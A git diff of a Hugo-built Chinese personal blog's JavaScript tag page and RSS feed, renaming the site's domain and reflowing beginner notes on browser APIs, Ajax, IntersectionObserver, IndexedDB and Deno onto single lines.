+window.location.assign("https://xiaochenabc123.test.com") 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace("https://xiaochenabc123.test.com") reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -108,8 +74,7 @@
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
-call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -120,25 +85,11 @@
 document.execCommand可以操作剪贴板
 document.execCommand(‘copy’) // 复制
 document.execCommand(‘cut’) // 剪切
-document.execCommand(‘paste’) // 粘贴...</p></div><footer class=entry-footer><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript知识扩展" href=https://xiaochenabc123.github.io/posts/61/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Ajax学习笔记</h2></header><div class=entry-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
+document.execCommand(‘paste’) // 粘贴...</p></div><footer class=entry-footer><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript知识扩展" href=https://chenjunlinabc.github.io/posts/61/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Ajax学习笔记</h2></header><div class=entry-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
-const express = require("express");
-// 导入path
-const patg = require("path");
-// 创建web服务器
-const app = express();
-// 静态资源访问服务
-app.use(express.static(path.join(__dirname,"public")));
-app.get("/hallo",(req, res) = >{
-res.send("hallo");
-});
-// 监听端口
-app.listen(3000);
-console.log("服务器启动成功")
-nodemon app.js
+// 导入express const express = require("express"); // 导入path const patg = require("path"); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,"public"))); app.get("/hallo",(req, res) = >{ res.send("hallo"); }); // 监听端口 app.listen(3000); console.log("服务器启动成功") nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -148,17 +99,10 @@
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
-console.log(hallo.responseText)
-}
-服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get("/hallo",(req, res) = >{
-res.send({"name" : "root"});
-});
-json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
-console....</p></div><footer class=entry-footer><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Ajax学习笔记" href=https://xiaochenabc123.github.io/posts/54/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript-IntersectionObserver构造函数笔记</h2></header><div class=entry-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
+app.get("/hallo",(req, res) = >{ res.send({"name" : "root"}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console....</p></div><footer class=entry-footer><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Ajax学习笔记" href=https://chenjunlinabc.github.io/posts/54/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript-IntersectionObserver构造函数笔记</h2></header><div class=entry-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
 例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象
@@ -180,22 +124,7 @@
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=>{
-// 实例化
-target.forEach((item) =>{
-if (item.intersectionRatio){
-// 当目标可视
-item.target.src = item.target.alt; // 进行属性值覆盖
-lazyload.unobserve(item.target) // 停止观测
-}
-})
-},{
-rootMargin: "100px" // 提前100px
-}); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素
-imgs.forEach((item) => {
-lazyload.observe(item)
-// 开始观测
-});</p></div><footer class=entry-footer><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-IntersectionObserver构造函数笔记" href=https://xiaochenabc123.github.io/posts/16/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/tags/javascript/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: "100px" // 提前100px }); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 });</p></div><footer class=entry-footer><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-IntersectionObserver构造函数笔记" href=https://chenjunlinabc.github.io/posts/16/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/tags/javascript/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/javascript/index.xml b/tags/javascript/index.xml
index 33f56740..69bd0007 100644
--- a/tags/javascript/index.xml
+++ b/tags/javascript/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>JavaScript on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/javascript/</link>
+    <link>https://chenjunlinabc.github.io/tags/javascript/</link>
     <description>Recent content in JavaScript on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 11 Nov 2022 07:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/javascript/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 11 Nov 2022 07:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/javascript/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Deno js运行时环境学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/161/</link>
+      <link>https://chenjunlinabc.github.io/posts/161/</link>
       <pubDate>Fri, 11 Nov 2022 07:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/161/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/161/</guid>
       <description>Deno是基于V8引擎，使用Rust构建的JavaScript &amp;amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
@@ -36,7 +36,7 @@ https://github.com/denoland/deno/releases
 检查是否安装完成
 deno &amp;ndash;version
 第一个例子
-import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot;
DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; {
console.log(response)
})
运行
+import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot; DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过&amp;ndash;allow-net默认运行，例如：deno run &amp;ndash;allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -56,10 +56,10 @@ deno内置工具
     
     <item>
       <title>简单使用ESbuild打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/132/</link>
+      <link>https://chenjunlinabc.github.io/posts/132/</link>
       <pubDate>Mon, 07 Feb 2022 13:37:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/132/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/132/</guid>
       <description>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
@@ -77,32 +77,32 @@ npm run build
 或者
 yarn build
 例子（app.jsx）
-import React from &#39;react&#39;
import ReactDOM from &#39;react-dom&#39;
const App = () =&amp;gt; {
return (
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt;
&amp;lt;/div&amp;gt;
)
}
ReactDOM.render(
&amp;lt;App /&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
)
index.html
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
我本地打包只花64ms就打包好了
+import React from &#39;react&#39; import ReactDOM from &#39;react-dom&#39; const App = () =&amp;gt; { return ( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt; ) } ReactDOM.render( &amp;lt;App /&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ) index.html
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; 我本地打包只花64ms就打包好了
 使用source map功能</description>
     </item>
     
     <item>
       <title>JavaScript知识扩展</title>
-      <link>https://xiaochenabc123.github.io/posts/61/</link>
+      <link>https://chenjunlinabc.github.io/posts/61/</link>
       <pubDate>Sun, 18 Jul 2021 22:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/61/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/61/</guid>
       <description>函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
console.log(arguments.length);
console.log(arguments[0]);
console.log(arguments.callee);
console.log(this)
}
abc(&#39;hallo&#39;);
BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc(&#39;hallo&#39;); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
const urlData = &amp;quot;https://xiaochenabc123.test.com/;
window.location.href = urlData;
这个也可以实现跳转
-window.location.assign(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)
这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)
reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
history表示浏览器的历史记录
-console.log(window.history)
length表示本次访问网站的数量
+console.log(window.location) const urlData = &amp;quot;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign(&amp;quot;https://xiaochenabc123.test.com&amp;quot;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace(&amp;quot;https://xiaochenabc123.test.com&amp;quot;) reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -112,7 +112,7 @@ window.history.forward()
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -128,15 +128,15 @@ document.execCommand(&amp;lsquo;paste&amp;rsquo;) // 粘贴</description>
     
     <item>
       <title>Ajax学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/54/</link>
+      <link>https://chenjunlinabc.github.io/posts/54/</link>
       <pubDate>Sat, 03 Jul 2021 15:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/54/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/54/</guid>
       <description>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
const express = require(&amp;quot;express&amp;quot;);
// 导入path
const patg = require(&amp;quot;path&amp;quot;);
// 创建web服务器
const app = express();
// 静态资源访问服务
app.use(express.static(path.join(__dirname,&amp;quot;public&amp;quot;)));
app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{
res.send(&amp;quot;hallo&amp;quot;);
});
// 监听端口
app.listen(3000);
console.log(&amp;quot;服务器启动成功&amp;quot;)
nodemon app.js
+// 导入express const express = require(&amp;quot;express&amp;quot;); // 导入path const patg = require(&amp;quot;path&amp;quot;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,&amp;quot;public&amp;quot;))); app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{ res.send(&amp;quot;hallo&amp;quot;); }); // 监听端口 app.listen(3000); console.log(&amp;quot;服务器启动成功&amp;quot;) nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -146,18 +146,18 @@ hallo.open(&amp;ldquo;GET&amp;rdquo;,&amp;ldquo;https://httpbin.org/get&amp;quot
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
console.log(hallo.responseText)
}
服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{
res.send({&amp;quot;name&amp;quot; : &amp;quot;root&amp;quot;});
});
json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
console.</description>
+app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{ res.send({&amp;quot;name&amp;quot; : &amp;quot;root&amp;quot;}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console.</description>
     </item>
     
     <item>
       <title>JavaScript-IntersectionObserver构造函数笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/16/</link>
+      <link>https://chenjunlinabc.github.io/posts/16/</link>
       <pubDate>Wed, 16 Jun 2021 09:29:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/16/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/16/</guid>
       <description>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
@@ -180,19 +180,19 @@ target：返回观测的目标对象，是dom对象
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=&amp;gt;{
// 实例化
target.forEach((item) =&amp;gt;{
if (item.intersectionRatio){
// 当目标可视
item.target.src = item.target.alt; // 进行属性值覆盖
lazyload.unobserve(item.target) // 停止观测
}
})
},{
rootMargin: &amp;quot;100px&amp;quot; // 提前100px
}); const imgs = document.querySelectorAll(&amp;quot;img[alt]&amp;quot;); // 选择带有alt属性的img元素
imgs.forEach((item) =&amp;gt; {
lazyload.observe(item)
// 开始观测
}); </description>
+const lazyload = new IntersectionObserver((target)=&amp;gt;{ // 实例化 target.forEach((item) =&amp;gt;{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: &amp;quot;100px&amp;quot; // 提前100px }); const imgs = document.querySelectorAll(&amp;quot;img[alt]&amp;quot;); // 选择带有alt属性的img元素 imgs.forEach((item) =&amp;gt; { lazyload.observe(item) // 开始观测 }); </description>
     </item>
     
     <item>
       <title>JavaScript-XMLHttpRequest对象笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/14/</link>
+      <link>https://chenjunlinabc.github.io/posts/14/</link>
       <pubDate>Wed, 16 Jun 2021 09:25:49 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/14/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/14/</guid>
       <description>ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200){
document.getElementById(&amp;quot;app&amp;quot;).innerHTML = xmlhttp.responseText
}
}
console.log(xmlhttp.readyState) // 0
xmlhttp.open(&amp;quot;GET&amp;quot;,&amp;quot;https://httpbin.org/get&amp;quot;,true)
console.log(xmlhttp.readyState) // 1
xmlhttp.onprogress =function(){
console.log(xmlhttp.readyState) // 3
}
xmlhttp.onload = function(){
console.log(xmlhttp.readyState) // 4
}
xmlhttp.send();
XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200){ document.getElementById(&amp;quot;app&amp;quot;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(&amp;quot;GET&amp;quot;,&amp;quot;https://httpbin.org/get&amp;quot;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -215,12 +215,12 @@ onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：
     
     <item>
       <title>jQuery-ajax()方法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/13/</link>
+      <link>https://chenjunlinabc.github.io/posts/13/</link>
       <pubDate>Wed, 16 Jun 2021 09:24:37 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/13/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/13/</guid>
       <description>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
$(&amp;quot;button&amp;quot;).click(function(){
$.ajax({
type: &amp;quot;GET&amp;quot;,
url: &amp;quot;https://httpbin.org/get&amp;quot;,
success: function(getdata){
console.log(getdata)
}
})
})
});
参数
+$(document).ready(function(){ $(&amp;quot;button&amp;quot;).click(function(){ $.ajax({ type: &amp;quot;GET&amp;quot;, url: &amp;quot;https://httpbin.org/get&amp;quot;, success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -249,10 +249,10 @@ xhr：用于重写或者增强XMLHttpRequest对象的函数</description>
     
     <item>
       <title>原生js实现瀑布流布局</title>
-      <link>https://xiaochenabc123.github.io/posts/10/</link>
+      <link>https://chenjunlinabc.github.io/posts/10/</link>
       <pubDate>Wed, 16 Jun 2021 09:14:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/10/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/10/</guid>
       <description>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
@@ -266,29 +266,29 @@ xhr：用于重写或者增强XMLHttpRequest对象的函数</description>
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName(&#39;imgs&#39;);
function datamain(){
var datawidtha = window.innerWidth;
var datawidthb = Math.floor(data[0].offsetWidth);
var dataab = Math.floor(datawidtha/datawidthb);
var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
var arr = [];
for(var i=0;i&amp;lt;data.length;i++){
if(i&amp;lt;dataab){
data[i].style.top = 0;
data[i].style.left = (datawidthb+ints) * i + &amp;quot;px&amp;quot;;
arr.push(data[i].offsetHeight);
}else{
var datamin = arr[0];
var index = 0;
for(var a = 0; a&amp;lt;arr.</description>
+var data = document.getElementsByClassName(&#39;imgs&#39;); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i&amp;lt;data.length;i++){ if(i&amp;lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + &amp;quot;px&amp;quot;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a&amp;lt;arr.</description>
     </item>
     
     <item>
       <title>IndexedDB浏览器数据库学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/5/</link>
+      <link>https://chenjunlinabc.github.io/posts/5/</link>
       <pubDate>Tue, 15 Jun 2021 19:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/5/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/5/</guid>
       <description>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1);
datadb.onerror = function(){
console.log(&amp;quot;数据库打开失败&amp;quot;)
}
datadb.onsuccess = function(){
console.log(&amp;quot;数据库打开成功&amp;quot;);
}
datadb.onupgradeneeded = function(event){ console.log(&amp;quot;数据库版本升级&amp;quot;);
}
onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1); datadb.onerror = function(){ console.log(&amp;quot;数据库打开失败&amp;quot;) } datadb.onsuccess = function(){ console.log(&amp;quot;数据库打开成功&amp;quot;); } datadb.onupgradeneeded = function(event){ console.log(&amp;quot;数据库版本升级&amp;quot;); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
console.log(&amp;quot;数据库升级&amp;quot;);
var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;});
}
表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log(&amp;quot;数据库升级&amp;quot;); var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains(&#39;abc&#39;)){
var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;});
}
递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{autoIncrement: true});
唯一属性
-objdb.createIndex(&amp;quot;id&amp;quot;,&amp;quot;id&amp;quot;,{unique: false})
createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains(&#39;abc&#39;)){ var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{autoIncrement: true}); 唯一属性
